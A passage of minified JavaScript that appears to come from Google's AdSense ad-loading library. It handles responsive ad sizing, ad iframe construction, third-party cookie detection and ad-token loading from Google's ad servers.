P(120,600,4),new P(120,240,4)],vf=[T[6],T[12],T[3],T[0],T[7],T[14],T[1],T[8],T[10],T[4],T[15],T[2],T[11],T[5],T[13],T[9]],wf=new P(120,120,1,!0),xf=new P(120,50,2,!0);var Af=function(a,b,c,d,e){e.gfwroml=d.style.marginLeft;e.gfwromr=d.style.marginRight;e.gfwroh=d.style.height;e.gfwrow=d.style.width;e.gfwroz=d.style.zIndex;e.google_full_width_responsive_allowed=!1;"false"!=e.google_full_width_responsive||yf(c)?zf(b,c,!0)||1==e.google_ad_resize?Re(a,c,d,e)?(e.google_full_width_responsive_allowed=!0,zf(b,c,!1)?b=I(c)||a:(e.google_fwr_non_expansion_reason=15,b=a)):b=a:(e.google_fwr_non_expansion_reason=2,b=a):(e.google_fwr_non_expansion_reason=1,b=a);return b!=a&&d.parentElement?b:a},Cf=function(a,b,c,d,e,f){f=void 0===f?!1:f;var g=Ib({},e);e=a;a=ed(247,gd,function(){return Af(a,b,c,d,g)});return Bf(a,b,c,d,g,e!=a,f)},zf=function(a,b,c){"auto"==a||"autorelaxed"==a&&C(b,qe.u)?b=!0:0<(Ne(a)&1)?(yf(b)?a=!0:(Pb(),a=Wd(),a=tb(a.V[101],!1)?!C(b,Yd.m):C(b,Yd.u)),b=a||c&&C(b,Yd.m)):b=!1;return b},Bf=function(a,b,c,d,e,f,g){g=void 0===g?!1:g;var h="auto"==b?.25>=a/Math.min(1200,I(c))?4:3:Ne(b);e.google_responsive_formats=h;var k=ef()&&!Ye(d,c)&&Me(d,c,e),m=ef()&&Ye(d,c)&&(C(c,ie.D)||C(c,ie.m))&&Me(d,c,e)&&C(c,ie.D),n=(k?vf:T).slice(0);n=Ea(n,Df(c));var p=488>I(c);p=[Xe(a),Ef(p),$e(p,c,d),Ie(h)];null!=e.google_max_responsive_height&&p.push(af(e.google_max_responsive_height));var q=A(e.gfwrow)||0,u=A(e.gfwroh)||0;g&&p.push(function(a){return a.minWidth()>=q&&a.height()>=u});var z=[function(a){return!a.za}];if(k||m)k=k?bf(c,d):cf(c,d),z.push(af(k));var J=uf(n,tf(p),tf(z));g&&(n=new P(q,u,h),J=J||n);if(!J)throw new H("No slot size for availableWidth="+a);J=ed(248,gd,function(){a:{var b=J;var h=g;h=void 0===h?!1:h;if(f){if(e.gfwrnh){var k=A(e.gfwrnh);if(k){h=new sf(a,k);break a}}if(Ye(d,c))h=new sf(a,b.height());else{b=a/1.2;k=bf(c,d);k=Math.min(b,k);if(k<.5*b||100>k)k=b;h&&(h=A(e.gfwroh)||0,k=Math.max(k,h));h=new sf(a,Math.floor(k))}}else h=b}return h});b=Ff(b,h);return new Q(b,J,h,e.google_safe_for_responsive_override,e.google_full_width_responsive_allowed,e.google_fwr_non_expansion_reason,e.gfwroml,e.gfwromr,e.gfwroh,e.gfwrow,e.gfwroz,e.gml,e.gmr,e.gzi)},Ff=function(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask")},Ef=function(a){return function(b){return!(320==b.minWidth()&&(a&&50==b.height()||!a&&100==b.height()))}},yf=function(a){return a.location&&"#google_full_width_responsive_preview"==a.location.hash},Df=function(a){var b=[],c=C(a,le.F);(C(a,le.G)||c)&&b.push(wf);(C(a,le.H)||c)&&b.push(xf);return b};var Gf={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}},Hf=function(a,b){O.call(this,a,b)};ia(Hf,O);Hf.prototype.j=function(){return Math.min(1200,this.minWidth())};var If=function(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f&&"false"!=e.google_full_width_responsive&&(C(b,$d.K)||C(b,$d.T)||C(b,$d.m))&&Qe(b,c,a,.2,e)){var g=I(b);if(g&&(e.google_full_width_responsive_allowed=!0,!C(b,$d.m))){var h=c.parentElement;if(h){b:for(var k=c,m=0;100>m&&k.parentElement;++m){for(var n=k.parentElement.childNodes,p=0;p<n.length;++p){var q=n[p];if(q!=k&&Ue(b,q))break b}k=k.parentElement;k.style.width="100%";k.style.height="auto"}Ve(b,c,h,a,g,e);a=g}}}if(250>a)throw new H("Fluid responsive ads must be at least 250px wide: availableWidth="+a);b=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new H("Fluid responsive ads must be at least 50px tall: height="+f);return new Q(11,new O(b,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;d=Math.pow(10,3);if(c=(e=f.match(/([+-][0-9a-z]+)/g))&&e.length){a=[];for(g=0;g<c;g++)a.push(parseInt(e[g],36)/d);d=a}else d=null;if(!d)throw new H("Invalid data-ad-layout-key value: "+f);f=(b+-725)/1E3;e=0;c=1;a=d.length;for(g=0;g<a;g++)e+=d[g]*c,c*=f;f=Math.ceil(1E3*e- -725+10);if(isNaN(f))throw new H("Invalid height: height="+f);if(50>f)throw new H("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new H("Fluid responsive ads must be at most 1200px tall: height="+f);return new Q(11,new O(b,f))}d=Gf[f];if(!d)throw new H("Invalid data-ad-layout value: "+f);d=Math.ceil(d(b));return new Q(11,"in-article"==f?new Hf(b,d):new O(b,d))};var U=function(a,b){O.call(this,a,b)};ia(U,O);U.prototype.j=function(){return this.minWidth()};U.prototype.o=function(a){return O.prototype.o.call(this,a)+"_0ads_al"};var Jf=[new U(728,15),new U(468,15),new U(200,90),new U(180,90),new U(160,90),new U(120,90)],Kf=function(a,b,c,d){var e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=uf(Jf,Xe(a));if(!f)throw new H("No link unit size for width="+a+"px");a=Math.min(a,1200);f=f.height();b=Math.max(f,b);a=(new Q(10,new U(a,Math.min(b,15==f?e:d)))).w;b=a.minWidth();a=a.height();15<=c&&(a=c);return new Q(10,new U(b,a))};var Lf=function(a){var b=a.google_ad_format;if("autorelaxed"==b)return mf(a)?9:5;if("auto"==b||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(b))return 1;if("link"==b)return 4;if("fluid"==b)return 8},Mf=function(a,b,c,d,e){var f=d.google_ad_height||We(c,e,"height");switch(a){case 5:return a=ed(247,gd,function(){return Af(b,d.google_ad_format,e,c,d)}),a!=b&&Ve(e,c,c.parentElement,b,a,d),qf(a,d);case 9:return rf(b,d);case 4:return Kf(b,cf(e,c),f,B(e,be.ea)?250:190);case 8:return If(b,e,c,f,d)}};var Nf=/^(\d+)x(\d+)(|_[a-z]*)$/,Of=function(a){return C(a,"165767636")};var V=function(a){this.s=[];this.l=a||window;this.j=0;this.o=null;this.N=0},Pf;V.prototype.O=function(a,b){0!=this.j||0!=this.s.length||b&&b!=window?this.v(a,b):(this.j=2,this.C(new Qf(a,window)))};V.prototype.v=function(a,b){this.s.push(new Qf(a,b||this.l));Rf(this)};V.prototype.R=function(a){this.j=1;if(a){var b=fd(188,sa(this.A,this,!0));this.o=this.l.setTimeout(b,a)}};V.prototype.A=function(a){a&&++this.N;1==this.j&&(null!=this.o&&(this.l.clearTimeout(this.o),this.o=null),this.j=0);Rf(this)};V.prototype.X=function(){return!(!window||!Array)};V.prototype.P=function(){return this.N};var Rf=function(a){var b=fd(189,sa(a.va,a));a.l.setTimeout(b,0)};V.prototype.va=function(){if(0==this.j&&this.s.length){var a=this.s.shift();this.j=2;var b=fd(190,sa(this.C,this,a));a.j.setTimeout(b,0);Rf(this)}};V.prototype.C=function(a){this.j=0;a.l()};var Sf=function(a){try{return a.sz()}catch(b){return!1}},Tf=function(a){return!!a&&("object"===typeof a||"function"===typeof a)&&Sf(a)&&Jb(a.nq)&&Jb(a.nqa)&&Jb(a.al)&&Jb(a.rl)},Uf=function(){if(Pf&&Sf(Pf))return Pf;var a=nd(),b=a.google_jobrunner;return Tf(b)?Pf=b:a.google_jobrunner=Pf=new V(a)},Vf=function(a,b){Uf().nq(a,b)},Wf=function(a,b){Uf().nqa(a,b)};V.prototype.nq=V.prototype.O;V.prototype.nqa=V.prototype.v;V.prototype.al=V.prototype.R;V.prototype.rl=V.prototype.A;V.prototype.sz=V.prototype.X;V.prototype.tc=V.prototype.P;var Qf=function(a,b){this.l=a;this.j=b};var Xf=function(a,b){var c=Rb(b);if(c){c=I(c);var d=y(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!=d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var Yf=function(a,b,c){c||(c=yb?"https":"http");l.location&&"https:"==l.location.protocol&&"http"==c&&(c="https");return[c,"://",a,b].join("")};var $f=function(a){var b=this;this.j=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(a,d){var c=Zf("rx",a);a:{if(a&&(a=a.match("dt=([^&]+)"))&&2==a.length){a=a[1];break a}a=""}a=(new Date).getTime()-a;c=c.replace(/&dtd=(\d+|-?M)/,"&dtd="+(1E5<=a?"M":0<=a?a:"-M"));b.set(d,c);return c}});this.l=a.google_iframe_oncopy};$f.prototype.set=function(a,b){var c=this;this.l.handlers[a]=b;this.j.addEventListener&&this.j.addEventListener("load",function(){var b=c.j.document.getElementById(a);try{var e=b.contentWindow.document;if(b.onload&&e&&(!e.body||!e.body.firstChild))b.onload()}catch(f){}},!1)};var Zf=function(a,b){var c=new RegExp("\\b"+a+"=(\\d+)"),d=c.exec(b);d&&(b=b.replace(c,a+"="+(+d[1]+1||1)));return b},ag=Ra("var i=this.id,s=window.google_iframe_oncopy,H=s&&s.handlers,h=H&&H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&&d&&(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}");var bg={'"':'\\"',"\\":"\\\\","/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\u000b"},cg=/\uffff/.test("\uffff")?/[\\"\x00-\x1f\x7f-\uffff]/g:/[\\"\x00-\x1f\x7f-\xff]/g,dg=function(){},fg=function(a,b,c){switch(typeof b){case "string":eg(b,c);break;case "number":c.push(isFinite(b)&&!isNaN(b)?String(b):"null");break;case "boolean":c.push(String(b));break;case "undefined":c.push("null");break;case "object":if(null==b){c.push("null");break}if(b instanceof Array||void 0!=b.length&&b.splice){var d=b.length;c.push("[");for(var e="",f=0;f<d;f++)c.push(e),fg(a,b[f],c),e=",";c.push("]");break}c.push("{");d="";for(e in b)b.hasOwnProperty(e)&&(f=b[e],"function"!=typeof f&&(c.push(d),eg(e,c),c.push(":"),fg(a,f,c),d=","));c.push("}");break;case "function":break;default:throw Error("Unknown type: "+typeof b)}},eg=function(a,b){b.push('"');b.push(a.replace(cg,function(a){if(a in bg)return bg[a];var b=a.charCodeAt(0),c="\\u";16>b?c+="000":256>b?c+="00":4096>b&&(c+="0");return bg[a]=c+b.toString(16)}));b.push('"')};var gg={},hg=(gg.google_ad_modifications=!0,gg.google_analytics_domain_name=!0,gg.google_analytics_uacct=!0,gg),ig=function(a){try{if(l.JSON&&l.JSON.stringify&&l.encodeURIComponent){var b=function(){return this};if(Object.prototype.hasOwnProperty("toJSON")){var c=Object.prototype.toJSON;Object.prototype.toJSON=b}if(Array.prototype.hasOwnProperty("toJSON")){var d=Array.prototype.toJSON;Array.prototype.toJSON=b}var e=l.encodeURIComponent(l.JSON.stringify(a));try{var f=Yb?l.btoa(e):Zb(Ub(e),void 0)}catch(g){f="#"+Zb(Ub(e),!0)}c&&(Object.prototype.toJSON=c);d&&(Array.prototype.toJSON=d);return f}}catch(g){G.j(237,g,void 0,void 0)}return""},jg=function(a){a.google_page_url&&(a.google_page_url=String(a.google_page_url));var b=[];Hb(a,function(a,d){if(null!=a){try{var c=[];fg(new dg,a,c);var f=c.join("")}catch(g){}f&&(f=f.replace(/\//g,"\\$&"),Kb(b,d,"=",f,";"))}});return b.join("")};var mg=function(){var a=l;this.l=a=void 0===a?l:a;this.v="https://securepubads.g.doubleclick.net/static/3p_cookie.html";this.j=2;this.o=[];this.s=!1;a:{a=kb(!1,50);b:{try{var b=l.parent;if(b&&b!=l){var c=b;break b}}catch(g){}c=null}c&&a.unshift(c);a.unshift(l);var d;for(c=0;c<a.length;++c)try{var e=a[c],f=kg(e);if(f){this.j=lg(f);if(2!=this.j)break a;!d&&x(e)&&(d=e)}}catch(g){}this.l=d||this.l}},og=function(a){if(2!=ng(a)){for(var b=1==ng(a),c=0;c<a.o.length;c++)try{a.o[c](b)}catch(d){}a.o=[]}},pg=function(a){var b=kg(a.l);b&&2==a.j&&(a.j=lg(b))},ng=function(a){pg(a);return a.j},rg=function(a){var b=qg;b.o.push(a);if(2!=b.j)og(b);else if(b.s||(Bb(b.l,"message",function(a){var c=kg(b.l);if(c&&a.source==c&&2==b.j){switch(a.data){case "3p_cookie_yes":b.j=1;break;case "3p_cookie_no":b.j=0}og(b)}}),b.s=!0),kg(b.l))og(b);else{a=(new Ab(b.l.document)).j.createElement("IFRAME");a.src=b.v;a.name="detect_3p_cookie";a.style.visibility="hidden";a.style.display="none";a.onload=function(){pg(b);og(b)};try{b.l.document.body.appendChild(a)}catch(c){}}},sg=function(a,b){try{return!(!a.frames||!a.frames[b])}catch(c){return!1}},kg=function(a){return a.frames&&a.frames[fb("detect_3p_cookie")]||null},lg=function(a){return sg(a,"3p_cookie_yes")?1:sg(a,"3p_cookie_no")?0:2};var tg=function(a,b,c,d,e){d=void 0===d?"":d;var f=a.createElement("link");f.rel=c;-1!=c.toLowerCase().indexOf("stylesheet")?b=Ia(b):b instanceof Ha?b=Ia(b):b instanceof Wa?b instanceof Wa&&b.constructor===Wa&&b.wa===Va?b=b.ba:(t(b),b="type_error:SafeUrl"):(b instanceof Wa||(b=b.na?b.aa():String(b),Xa.test(b)||(b="about:invalid#zClosurez"),b=Ya(b)),b=b.aa());f.href=b;d&&"preload"==c&&(f.as=d);e&&(f.nonce=e);if(a=a.getElementsByTagName("head")[0])try{a.appendChild(f)}catch(g){}};var ug=/^\.google\.(com?\.)?[a-z]{2,3}$/,vg=/\.(cn|com\.bi|do|sl|ba|by|ma)$/,wg=function(a){return ug.test(a)&&!vg.test(a)},xg=l,qg,yg=function(a){a="https://"+("adservice"+a+"/adsid/integrator.js");var b=["domain="+encodeURIComponent(l.location.hostname)];W[3]>=+new Date&&b.push("adsid="+encodeURIComponent(W[1]));return a+"?"+b.join("&")},W,X,zg=function(){xg=l;W=xg.googleToken=xg.googleToken||{};var a=+new Date;W[1]&&W[3]>a&&0<W[2]||(W[1]="",W[2]=-1,W[3]=-1,W[4]="",W[6]="");X=xg.googleIMState=xg.googleIMState||{};wg(X[1])||(X[1]=".google.com");"array"==t(X[5])||(X[5]=[]);"boolean"==typeof X[6]||(X[6]=!1);"array"==t(X[7])||(X[7]=[]);r(X[8])||(X[8]=0)},Y={$:function(){return 0<X[8]},Ba:function(){X[8]++},Ca:function(){0<X[8]&&X[8]--},Da:function(){X[8]=0},Ha:function(){return!1},ma:function(){return X[5]},ka:function(a){try{a()}catch(b){l.setTimeout(function(){throw b},0)}},qa:function(){if(!Y.$()){var a=l.document,b=function(b){b=yg(b);a:{try{var c=jb();break a}catch(h){}c=void 0}var d=c;tg(a,b,"preload","script",d);c=a.createElement("script");c.type="text/javascript";d&&(c.nonce=d);c.onerror=function(){return l.processGoogleToken({},2)};b=eb(b);c.src=Ia(b);try{(a.head||a.body||a.documentElement).appendChild(c),Y.Ba()}catch(h){}},c=X[1];b(c);".google.com"!=c&&b(".google.com");b={};var d=(b.newToken="FBT",b);l.setTimeout(function(){return l.processGoogleToken(d,1)},1E3)}}},Ag=function(a){zg();var b=xg.googleToken[5]||0;a&&(0!=b||W[3]>=+new Date?Y.ka(a):(Y.ma().push(a),Y.qa()));W[3]>=+new Date&&W[2]>=+new Date||Y.qa()},Bg=function(a){l.processGoogleToken=l.processGoogleToken||function(a,c){var b=a;b=void 0===b?{}:b;c=void 0===c?0:c;a=b.newToken||"";var e="NT"==a,f=parseInt(b.freshLifetimeSecs||"",10),g=parseInt(b.validLifetimeSecs||"",10);e&&!g&&(g=3600);var h=b["1p_jar"]||"";b=b.pucrd||"";zg();1==c?Y.Da():Y.Ca();var k=xg.googleToken=xg.googleToken||{},m=0==c&&a&&na(a)&&!e&&r(f)&&0<f&&r(g)&&0<g&&na(h);e=e&&!Y.$()&&(!(W[3]>=+new Date)||"NT"==W[1]);var n=!(W[3]>=+new Date)&&0!=c;if(m||e||n)e=+new Date,f=e+1E3*f,g=e+1E3*g,1E-5>Math.random()&&Fb("https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&err="+c,void 0),k[5]=c,k[1]=a,k[2]=f,k[3]=g,k[4]=h,k[6]=b,zg();if(m||!Y.$()){c=Y.ma();for(a=0;a<c.length;a++)Y.ka(c[a]);c.length=0}};Ag(a)},Cg=function(a){qg=qg||new mg;rg(function(b){b&&a()})};var Z=fb("script"),Gg=function(){var a=B(v,L.J),b=B(v,L.I)||a;if((B(v,L.u)||B(v,L.U)||b)&&!v.google_sa_queue){v.google_sa_queue=[];v.google_sl_win=v;v.google_process_slots=function(){return Dg(v,!a)};var c=b?Eg():Eg("/show_ads_impl_single_load.js");tg(v.document,c,"preload","script");b?(b=document.createElement("IFRAME"),b.id="google_shimpl",b.style.display="none",v.document.documentElement.appendChild(b),Fe(v,"google_shimpl","<!doctype html><html><body>"+("<"+Z+">")+"google_sailm=true;google_sl_win=window.parent;google_async_iframe_id='google_shimpl';"+("</"+Z+">")+Fg()+"</body></html>"),b.contentWindow.document.close()):lb(v.document,c)}},Dg=fd(215,function(a,b,c){c=void 0===c?+new Date:c;var d=a.google_sa_queue,e=d.shift();"function"==t(e)&&ed(216,gd,e);d.length&&(b||50<+new Date-c?a.setTimeout(function(){return Dg(a,b)},0):Dg(a,b,c))}),Fg=function(a){return["<",Z,' src="',Eg(void 0===a?"/show_ads_impl.js":a),'"></',Z,">"].join("")},Eg=function(a){a=void 0===a?"/show_ads_impl.js":a;var b=xb?"https":"http";a:{if(vb)try{var c=v.google_cafe_host||v.top.google_cafe_host;if(c){var d=c;break a}}catch(e){}d=Ba("","pagead2.googlesyndication.com")}return Yf(d,["/pagead/js/",ub(),"/r20170110",a,""].join(""),b)},Hg=function(a,b,c,d){return function(){var e=!1;d&&Uf().al(3E4);try{Fe(a,b,c),e=!0}catch(g){var f=nd().google_jobrunner;Tf(f)&&f.rl()}e&&(e=Zf("google_async_rrc",c),(new $f(a)).set(b,Hg(a,b,e,!1)))}},Ig=function(a){var b=["<iframe"];Hb(a,function(a,d){null!=a&&b.push(" "+d+'="'+Ra(a)+'"')});b.push("></iframe>");return b.join("")},Kg=function(a,b,c){Jg(a,b,c,function(a,b,f){a=a.document;for(var d=b.id,e=0;!d||a.getElementById(d);)d="aswift_"+e++;b.id=d;b.name=d;d=Number(f.google_ad_width);e=Number(f.google_ad_height);16==f.google_reactive_ad_format?(f=a.createElement("div"),a=Ee(b,d,e),f.innerHTML=a,c.appendChild(f.firstChild)):(f=Ee(b,d,e),c.innerHTML=f);return b.id})},Jg=function(a,b,c,d){var e={},f=b.google_ad_width,g=b.google_ad_height;null!=f&&(e.width=f&&'"'+f+'"');null!=g&&(e.height=g&&'"'+g+'"');e.frameborder='"0"';e.marginwidth='"0"';e.marginheight='"0"';e.vspace='"0"';e.hspace='"0"';e.allowtransparency='"true"';e.scrolling='"no"';e.allowfullscreen='"true"';e.onload='"'+ag+'"';d=d(a,e,b);f=b.google_ad_output;e=b.google_ad_format;g=b.google_ad_width||0;var h=b.google_ad_height||0;e||"html"!=f&&null!=f||(e=g+"x"+h);f=!b.google_ad_slot||b.google_override_format||!xa[b.google_ad_width+"x"+b.google_ad_height]&&"aa"==b.google_loader_used;e&&f?e=e.toLowerCase():e="";b.google_ad_format=e;if(!r(b.google_reactive_sra_index)||!b.google_ad_unit_key){e=[b.google_ad_slot,b.google_orig_ad_format||b.google_ad_format,b.google_ad_type,b.google_orig_ad_width||b.google_ad_width,b.google_orig_ad_height||b.google_ad_height];f=[];g=0;for(h=c;h&&25>g;h=h.parentNode,++g)f.push(9!==h.nodeType&&h.id||"");(f=f.join())&&e.push(f);b.google_ad_unit_key=ob(e.join(":")).toString();e=[];for(f=0;c&&25>f;++f){g=(g=9!==c.nodeType&&c.id)?"/"+g:"";a:{if(c&&c.nodeName&&c.parentElement){h=c.nodeName.toString().toLowerCase();for(var k=c.parentElement.childNodes,m=0,n=0;n<k.length;++n){var p=k[n];if(p.nodeName&&p.nodeName.toString().toLowerCase()===h){if(c===p){h="."+m;break a}++m}}}h=""}e.push((c.nodeName&&c.nodeName.toString().toLowerCase())+g+h);c=c.parentElement}c=e.join()+":";e=a;f=[];if(e)try{var q=e.parent;for(g=0;q&&q!==e&&25>g;++g){var u=q.frames;for(h=0;h<u.length;++h)if(e===u[h]){f.push(h);break}e=q;q=e.parent}}catch(J){}b.google_ad_dom_fingerprint=ob(c+f.join()).toString()}q=jg(b);u=ig(b);var z;b=b.google_ad_client;if(!Ge)b:{c=kb();for(e=0;e<c.length;e++)try{if(z=c[e].frames.google_esf){Ge=z;break b}}catch(J){}Ge=null}Ge?z="":(z={style:"display:none"},/[^a-z0-9-]/.test(b)?z="":(z["data-ad-client"]=De(b),z.id="google_esf",z.name="google_esf",z.src=Yf(zb(),["/pagead/html/",ub(),"/r20170110/zrt_lookup.html#"].join("")),z=Ig(z)));b=z;z=B(a,L.u)||B(a,L.U)||B(a,L.I)||B(a,L.J);c=B(a,L.I)||B(a,L.J)||B(a,je.u);e=va;f=(new Date).getTime();a.google_t12n_vars=Td;g=a;g=Eb(Db(g))||g;g=g.google_unique_id;B(a,je.u)?(h="<"+Z+">window.google_process_slots=function(){window.google_sa_impl({iframeWin: window, pubWin: window.parent});"+("};</"+Z+">"),k=Fg(),h+=k):h=B(a,L.m)?Fg("/show_ads_impl.js?"+L.m):B(a,L.u)||B(a,L.U)?"<"+Z+">window.parent.google_sa_impl.call("+("this, window, document, location);</"+Z+">"):B(a,L.I)||B(a,L.J)?"<"+Z+">window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent});</"+Z+">":B(a,me.u)?Fg("/show_ads_impl_le.js"):B(a,me.m)?Fg("/show_ads_impl_le_c.js"):Fg();q=["<!doctype html><html><body>",b,"<"+Z+">",q,"google_sailm="+c+";",z?"google_sl_win=window.parent;":"","google_unique_id="+("number"===typeof g?g:0)+";",'google_async_iframe_id="'+d+'";',"google_start_time="+e+";",u?'google_pub_vars="'+u+'";':"","google_bpp="+(f>e?f-e:1)+";","google_async_rrc=0;google_iframe_start_time=new Date().getTime();","</"+Z+">",h,"</body></html>"].join("");b=a.document.getElementById(d)?Vf:Wf;d=Hg(a,d,q,!0);z?(a.google_sa_queue=a.google_sa_queue||[],a.google_sa_impl?b(d):a.google_sa_queue.push(d)):b(d)},Lg=function(a,b){var c=navigator;a&&b&&c&&(a=a.document,b=De(b),/[^a-z0-9-]/.test(b)||((c=Ja("r20160913"))&&(c+="/"),lb(a,Yf("pagead2.googlesyndication.com","/pub-config/"+c+b+".js"))))};var Mg=function(a,b,c){for(var d=a.attributes,e=d.length,f=0;f<e;f++){var g=d[f];if(/data-/.test(g.name)){var h=Ja(g.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));if(!b.hasOwnProperty(h)){g=g.value;var k={};k=(k.google_reactive_ad_format=za,k.google_allow_expandable_ads=tb,k);g=k.hasOwnProperty(h)?k[h](g,null):g;null===g||(b[h]=g)}}}if(c.document&&c.document.body&&!Lf(b)&&!b.google_reactive_ad_format&&(d=parseInt(a.style.width,10),e=Xf(a,c),0<e&&d>e))if(f=parseInt(a.style.height,10),d=!!xa[d+"x"+f],B(c,fe.Y))b.google_ad_resize=0;else{h=e;if(d)if(g=ya(e,f))h=g,b.google_ad_format=g+"x"+f+"_0ads_al";else throw Error("TSS="+e);b.google_ad_resize=1;b.google_ad_width=h;d||(b.google_ad_format=null,b.google_override_format=!0);e=h;a.style.width=e+"px";f=Cf(e,"auto",c,a,b);h=e;f.w.l(c,h,b,a);df(f,h,b);f=f.w;b.google_responsive_formats=null;f.minWidth()>e&&!d&&(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+"px")}d=b.google_reactive_ad_format;if(!b.google_enable_content_recommendations||1!=d&&2!=d){d=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0);a:if(e=ta(Cf,d,"auto",c,a,b,!0),f=B(c,"182982000"),h=B(c,"182982100"),(f||h)&&ef()&&!b.google_reactive_ad_format&&!Lf(b)){for(h=a;h;h=h.parentElement){if(k=g=y(h,c)){b:if(g=g.position,k=["static","relative"],na(k))g=na(g)&&1==g.length?k.indexOf(g,0):-1;else{for(var m=0;m<k.length;m++)if(m in k&&k[m]===g){g=m;break b}g=-1}k=0<=g}if(!k)break a}b.google_resizing_allowed=!0;f?(f={},df(e(),d,f),b.google_resizing_width=f.google_ad_width,b.google_resizing_height=f.google_ad_height):b.google_ad_format="auto"}if(d=Lf(b))e=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0),f=(f=Mf(d,e,a,b,c))?f:Cf(e,b.google_ad_format,c,a,b,b.google_resizing_allowed),f.w.l(c,e,b,a),df(f,e,b),1!=d&&(b=f.w.height(),a.style.height=b+"px");else{if(!rb.test(b.google_ad_width)&&!qb.test(a.style.width)||!rb.test(b.google_ad_height)&&!qb.test(a.style.height)){if(d=y(a,c))a.style.width=d.width,a.style.height=d.height,Je(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;d=Db(c);b.google_responsive_auto_format=d?d.data&&"rspv"==d.data.autoFormat?13:14:12}else Je(a.style,b),b.google_ad_output&&"html"!=b.google_ad_output||300!=b.google_ad_width||250!=b.google_ad_height||(d=a.style.width,a.style.width="100%",e=a.offsetWidth,a.style.width=d,b.google_available_width=e);C(c,"153762914")||C(c,"153762975")||C(c,"164692081")||Of(c)?(b.google_resizing_allowed=!1,d=!0):d=!1;if(d&&(e=a.parentElement)){d=b.google_ad_format;if(f=Nf.test(d)||!d){f=Rb(c);if(!(h=null==f||b.google_reactive_ad_format)){h=I(f);if(!(f=!(488>h&&320<h)||!(f.innerHeight>=f.innerWidth)||Oe(e,c)))a:{b:{f=e;for(h=0;100>h&&f;h++){if((g=y(f,c))&&-1!=g.display.indexOf("table")){f=!0;break b}f=f.parentElement}f=!1}if(f)for(f=e,h=!1,g=0;100>g&&f;g++){k=f.style;if("auto"==k.margin||"auto"==k.marginLeft||"auto"==k.marginRight)h=!0;if(h){f=!0;break a}f=f.parentElement}f=!1}h=f}f=(h?!1:!0)&&Le(a,c)}if(f&&(f=a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,h=I(c))&&(g=y(e,c))&&(g=Te(g,h,f),m=g.pa,k=g.direction,g=g.la,!(5>g||.4<g/h))){g=b.google_resizing_allowed=!0;if(C(c,"164692081")||Of(c))g=Pe(e,c);e=-1*(Se(e)+m)+"px";if(C(c,"153762975")||Of(c))"rtl"==k?a.style.marginRight=e:a.style.marginLeft=e,a.style.width=h+"px",a.style.zIndex=1932735282;e="";k=parseInt(a.offsetHeight||a.style.height||b.google_ad_height,10);d&&(d=d.match(Nf),e=d[3],k=parseInt(d[2],10));g&&Of(c)&&(d=f/k,1.15<d&&(Ke(a,c)<rd(c).clientHeight||(k=3>d?Math.round(5*h/6):Math.round(k*h/f))));if(C(c,"153762975")||Of(c))b.google_ad_format=h+"x"+k+e,b.google_ad_width=h,b.google_ad_height=k,a.style.height=k+"px";b.google_resizing_width=h;b.google_resizing_height=k}}C(c,ae.u)&&12==b.google_responsive_auto_format&&(b.efwr=Re(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b))}}else b.google_ad_width=I(c),b.google_ad_height=50,a.style.display="none"};var Ng=!1,Og=0,Pg=!1,Qg=!1,Rg=function(a){return Qb.test(a.className)&&"done"!=a.getAttribute("data-adsbygoogle-status")},Tg=function(a,b){var c=window;a.setAttribute("data-adsbygoogle-status","done");Sg(a,b,c)},Sg=function(a,b,c){var d=Pb();d.google_spfd||(d.google_spfd=Mg);(d=b.google_reactive_ads_config)||Mg(a,b,c);if(!Ug(a,b,c)){if(d){if(Ng)throw new H("Only one 'enable_page_level_ads' allowed per page.");Ng=!0}else b.google_ama||Mb(c);Pg||(Pg=!0,Lg(c,b.google_ad_client));Hb(hg,function(a,d){b[d]=b[d]||c[d]});b.google_loader_used="aa";b.google_reactive_tag_first=1===Og;if((d=b.google_ad_output)&&"html"!=d&&"js"!=d)throw new H("No support for google_ad_output="+d);ed(164,gd,function(){Kg(c,b,a)})}},Ug=function(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(pa(e)?e:{}).google_tag_origin}if(b.google_ama||"js"===b.google_ad_output)return!1;var 